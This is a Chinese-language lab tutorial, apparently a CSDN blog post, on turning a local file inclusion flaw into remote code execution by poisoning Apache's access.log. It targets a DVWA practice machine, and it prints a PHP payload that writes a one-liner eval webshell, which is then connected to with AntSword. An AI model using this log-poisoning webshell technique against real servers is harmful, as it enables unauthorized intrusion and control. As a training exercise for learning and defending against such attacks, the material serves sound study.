【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用

本文详细介绍了如何在存在文件包含漏洞但无法上传文件的环境中,通过Apache日志文件获取Webshell权限。实验过程涉及利用burpsuite发送请求,触发日志记录,再通过包含日志文件执行PHP代码,最终实现远程代码执行并获取靶机的webshell。文章还讲解了如何开启Apache的access.log访问日志功能以及如何避免URL编码影响日志记录。
摘要由CSDN通过智能技术生成

一、实验目的:

1、通过学习日志文件包含漏洞,掌握在目标服务器存在文件包含漏洞的前提下没有上传功能下获取权限的方法。
2、通过搭建漏洞环境,学习绕过技巧。

二、工具:

火狐/谷歌浏览器
burpsuite

三、实验环境:

靶 机: windows10虚拟机:192.168.100.150
      phpstudy2018_Apache集成环境
      DVWA靶场

攻击机: 物理机

四、原理说明:

1. 原理:

  当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵
  Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。

2. 利用方法:

过日志文件getshell
1.通过burpsuite发送的请求包产生日志数据;
2.包含日志文件;
3.写入一句话木马getshell

五、日志文件相关:

1. 日志文件路径:

E:\php\phpstudy_2018\PHPTutorial\Apache\logs\

这里主要查看access.log这个日志,这个日志记录着服务器所有的访问记录,包括一些攻击流量:

2. 没有access.log访问日志的原因:

进入日志目录下,如果发现没有access.log这个访问日志,是因为apache配置文件没有打开这个配置选项,需要对相应的功能进行开启。

3. 开启access.log访问日志功能:

1、通过配置文件的开启access.log访问日志功能:

2、搜索CustomLog "logs/access.log" common,将前面的##注释去掉,并保存文件,然后重启PHPstudy:

3、查看访问日志文件,日志目录下已经出现这个文件,说明成功开启访问日志功能:

4、访问几个网页,查看记录,对自己访问的页面有记录,说明access.log可以自动记录访问操作:

六、实验过程:

1、我们通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问历史:
访问内容:

<?php phpinfo();?>


注:通过上图我们可以看出,日志已经成功记录我们的访问历史,但是是经过URL编码后的结果。如何让它记录我们原始完整的代码呢?一般URL编码是我们的浏览器进行完成的,它对我们访问的目录做了URL编码,然后发送到服务器,我们可以通过burpsuite,把经过浏览器URL编码后的数据进行修改。
2、使用burpsuite修改编码后的数据:

3、查看访问日志,可以看出,没有编码的phpinfo();代码已经成功记录:

4、文件包含只要文件中有php代码,它就会把这个文件当做php脚本进行解析,这样我们可以包含这个日志文件,让目标服务器把日志文件解析为php脚本;可以看出,已经成功解析日志文件为php脚本:

5、让访问日志文件记录下写入文件脚本代码:
访问内容:

<?php 
$file=fopen('test1.php','w');
fputs($file,'<?php @eval($_POST[666]);?>');
?>


6、对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功:

7、使用蚁剑连接webshell,成功获得靶机的webshell权限:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值